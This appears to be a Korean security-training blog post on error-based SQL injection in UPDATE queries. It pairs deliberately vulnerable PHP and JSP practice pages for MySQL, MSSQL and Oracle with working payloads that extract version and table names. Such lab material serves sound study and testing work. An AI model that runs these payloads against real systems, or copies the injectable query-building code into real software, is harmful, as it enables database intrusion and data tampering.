Self-Improvement

UPDATE Error SQLi(MySQL, MSSQL, Oracle) 본문

SQLi

UPDATE Error SQLi(MySQL, MSSQL, Oracle)

JoGeun 2020. 4. 20. 18:02

INSERT, UPDATE, DELETE 구문에서는 UNION SQLi 기법은 사용이 불가능하지만 Error SQLi는 가능하다.

하지만 위 3가지를 SQLi할때는 중요한 사항들이 존재한다.

UPDATE () SET () WHERE ()

UPDATE 구문을 사용하는 페이지는 회원정보 수정, 게시글 수정, 예약 정보 수정 등이 대표적이다.

가장 주의해야 할 사항으로는 전체가 참인 명제 조건이 된다면, 해당 테이블의 모든 데이터가 동일한 값으로 수정이 된다.

UPDATE 구문에서 WHERE절에 참인 명제가 주입되면 모든 데이터가 동일한 정보로 업데이트 되는 것이다.

 

MySQL 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
 
if (!$link = mysql_connect('localhost''root''root')) {
    echo 'Could not connect to mysql';
    exit;
}
 
if (!mysql_select_db('test'$link)) {
    echo 'Could not select database';
    exit;
}
 
$queryCheck="select 1 from users";
$result = mysql_query($queryCheck$link);
 
if($result == FALSE){
    $createQuery="CREATE TABLE USERS (" .
         "idx int(11) AUTO_INCREMENT PRIMARY KEY," .
         "ID varchar(12) NOT NULL," .
         "NAME varchar(25) NOT NULL," .
         "LEVEL int(2) NOT NULL);";
    $result = mysql_query($createQuery$link);
}
 
echo "<script language='javascript'>\n";
echo "    function edit(idx,id,name){\n";
echo "        document.webform.idx.value=idx;\n";
echo "        document.webform.id.value=id;\n";
echo "        document.webform.name.value=name;\n";
echo "        document.webform.btnSubmit.disabled=false;\n";
echo "    }\n";
echo "</script>\n";
 
echo "MySQL : SQL Injection in UPDATE Query<br><br>\n";
echo "<hr>\n";
echo "<form action='" . $_SERVER['PHP_SELF'] . "' method='post' name='webform'>\n";
echo "    <input type='hidden' name='idx'>\n";
echo "    USER ID : <input type='text' length='3' name='id'>&nbsp;";
echo "USER NAME : <input type='text' length='3' name='name'>&nbsp;";
echo "<input type='submit' value='Update' name='btnSubmit' disabled='true'>\n";
echo "</form>\n";
echo "<hr>\n<br>\n<br>\n";
 
if (isset($_POST['idx'])) $_idx = $_POST['idx'];
if (isset($_POST['id'])) $_id = $_POST['id'];
if (isset($_POST['name'])) $_name = $_POST['name'];
 
if (!empty($_idx) and !empty($_id) and !empty($_name)){
    $sql = "update USERS set id='$_id',name='$_name' where idx=$_idx";
 
    $result = mysql_query($sql$link);
 
    if (!$result) {
        echo "DB Error, could not query the database\n";
        echo 'MySQL Error: ' . mysql_error();
        exit;
    }
}
 
$sql = "select * from USERS";
$result = mysql_query($sql$link);
 
if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td width='50'>num</td><td width='120'>id</td><td width='240'>name</td><td width='50'>Edit</td>\n\t</tr>";
 
while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['idx'] . "</td><td>" . $row['ID'] . "</td><td>" . $row['NAME'] . "</td><td><input type='button' onClick=\"edit('" . $row['idx'] . "','" . $row['ID'] . "','" . $row['NAME'] . "')\" value='Edit'></td>\n\t</tr>\n";
}
print "</table>\n";
 
mysql_free_result($result);
 
?>
cs

 

페이지에 접속해보면 기존에 INSERT 실습할때 주입된 데이터가 존재한다.

 

하나의 데이터를 Update 요청을 BurpSuite로 캡처해보면 Update 되는 항목인 id, name 파라미터가 존재하며 UPDATE 구문의 SET()에 해당될 것이다. idx 파라미터는 WHERE()에 해당 됨으로 주의를 해야 함으로 나머지 파라미터에서 SQLi를 주입한다.

 

id 파라미터에 싱글쿼터를 주입하면 DB 에러가 발생하며 이는 INSERT에서 사용했던 Error SQLi 구문을 그대로 사용하면 가능하다.

 

Double Query 방식으로 버전 정보를 출력해본다.

'+(select count(*) from(select count(*),concat(version(),floor(rand(0)*2))a from information_schema.tables group by a)b)+'

 

[테이블 정보]까지만 추출해본다

'+(select a from(select count(*), concat((select table_name from information_schema.tables where table_type='base table' limit 1 offset 0), floor(rand(0)*2))a from information_schema.tables group by a)b)+'

 

MSSQL 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<html>
<title>Pentest Example</title>
<body>
<script language='javascript'>
    function edit(idx,id,name){
        document.webform.idx.value=idx;
        document.webform.id.value=id;
        document.webform.name.value=name;
        document.webform.btnSubmit.disabled=false;
    }
</script>
 
MSSQL 2017 : SQL Injection in UPDATE Query
<br><br>
<hr>
<form action='/mssql_user_update.php' method='post' name='webform'>
   <input type='hidden' name='idx'>
   USER ID : <input type='text' length='3' name='id'>&nbsp;USER NAME : <input type='text' length='3' name='name'>&nbsp;<input type='submit' value='Update' name='btnSubmit' disabled>
</form>
<hr>
<br>
<br>
<?php
if (!$link = mssql_connect('mssql''sa''pentest1!')) {
    echo 'Could not connect to mssql';
    exit;
}
 
if (!mssql_select_db('northwind'$link)) {
    echo 'Could not select database';
    exit;
}
 
$sql ="IF NOT EXISTS(select * from sysobjects where name='users' and xtype=0x55)" .
        "CREATE TABLE users" .
        "(idx int identity(1,1) PRIMARY KEY," .
        "id   varchar(10)," .
        "name varchar(25)," .
        "lvl  int)";
$result = mssql_query($sql$link);
 
if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MSSQL Error: ' . mssql_error();
    exit;
}
 
$_idx = 0;
$_id = '';
$_name = '';
if (isset($_POST['idx'])) $_idx = $_POST['idx'];
if (isset($_POST['id'])) $_id = $_POST['id'];
if (isset($_POST['name'])) $_name = $_POST['name'];
 
$sql="update users set id='" . $_id . "',name='" . $_name . "' where idx=" . $_idx;
 
if ($_idx!=''$result = mssql_query($sql$link);
 
$sql ="select * from users";
$result = mssql_query($sql$link);
 
if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MSSQL Error: ' . mssql_error();
    exit;
}
 
print "<table border='1' cellpadding='5' cellspacing='0'>";
print "<tr><td width='50'>NUM</td><td width='120'>ID</td><td width='240'>Name</td><td width='50'>Edit</td></tr>";
 
while ($row = mssql_fetch_assoc($result)) {
    print "<tr><td>" . $row["idx"] . "</td><td>" . $row["id"] . "</td><td>"  . $row["name"] . "</td><td><input type=\"button\" onClick=\"edit('"  . $row["idx"] . "','" . $row["id"] . "','" . $row["name"] . "')\" value=\"Edit\"></td></tr>";
}
print "</table>\n";
 
mssql_close($link);
?>
</html>
cs

 

MSSQL도 INSERT에서 했던 Error SQLi를 사용하면 된다.

 

버전을 주입해본다.

'+(select @@version/1)+'

 

[테이블 정보]까지 추출해본다.

역시나 테이블 출력할 시 where 1=절을 임의로 만들어 False가 되게하여 오류를 유발한다.

'+(select name from sys.objects where 1=(select name from (select row_number() over(order by name desc)as rowid, name from sys.objects where type=0x55)T where rowid=1))+'

 

Oracle 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ include file="dbcon.jsp" %>
<%@ page import="java.util.*,java.text.*"%>
 
<html>
<head>
<title>test</title>
</head>
<body>
<script language='javascript'>
    function edit(idx,id,name){
        document.webform.idx.value=idx;
        document.webform.id.value=id;
        document.webform.name.value=name;
        document.webform.btnSubmit.disabled=false;
    }
</script>
 
Oracle 11g : SQL Injection in UPDATE Query
<br><br>
<hr>
<form action='/user_update.jsp' method='post' name='webform'>
   <input type='hidden' name='idx'>
   USER ID : <input type='text' length='3' name='id'>&nbsp;USER NAME : <input type='text' length='3' name='name'>&nbsp;<input type='submit' value='Update' name='btnSubmit' disabled>
</form>
<hr>
<br>
<br>
<table border=1 cellpadding=5 cellspacing=0>
    <tr>
        <td width='50'>NUM</td>
        <td width='120'>ID</td>
        <td width='240'>NAME</td>
        <td width='50'>Edit</td>
    <tr>
 <%
   try{
       sql = "select 1 from users";
       stmt = con.createStatement();
       stmt.executeQuery(sql);
   } catch(Exception e){
       sql = "CREATE TABLE users"
           + "(idx  number(5),"
       + " id   varchar(10),"
       + " name varchar(25),"
       + " lvl  number(2))";
     stmt = con.createStatement();
     stmt.executeQuery(sql);
   }
   String _idx = request.getParameter("idx");
   String _id = request.getParameter("id");
   String _name = request.getParameter("name");
   if (_id != null && _name != null) {
       sql = "update users set id='" + _id + "',name='" + _name + "' where idx=" + _idx;
       stmt = con.createStatement();
       stmt.executeQuery(sql);
   }
   sql = "select * from users";
   stmt = con.createStatement();
   rs=stmt.executeQuery(sql);
   while(rs.next()) {
    String idx = rs.getString("idx");
    String id = rs.getString("id");
    String name  = rs.getString("name");
%>
    <tr>
        <td><%=idx%></td>
        <td><%=id%></td>
        <td><%=name%></td>
        <td><input type="button" onClick="edit('<%=idx%>','<%=id%>','<%=name%>')" value='Edit'></td>
    </td>
<%
   }
   if(rs != null) rs.close();
   if(stmt != null)stmt.close();
   if(con != null)con.close();
 %>
</table>
</body>
 
</html>
cs

 

Oracle도 역시나 INSERT에서 쓰던거 그대로 사용하면 된다.

 

 

DBMS_XMLGEN.GETXML() XML내장함수를 이용하여 버전을 출력해보자

'||to_char(dbms_xmlgen.getxml('select "' || substr((select banner from v$version where rownum=1),1,30)||'" from dual'))||'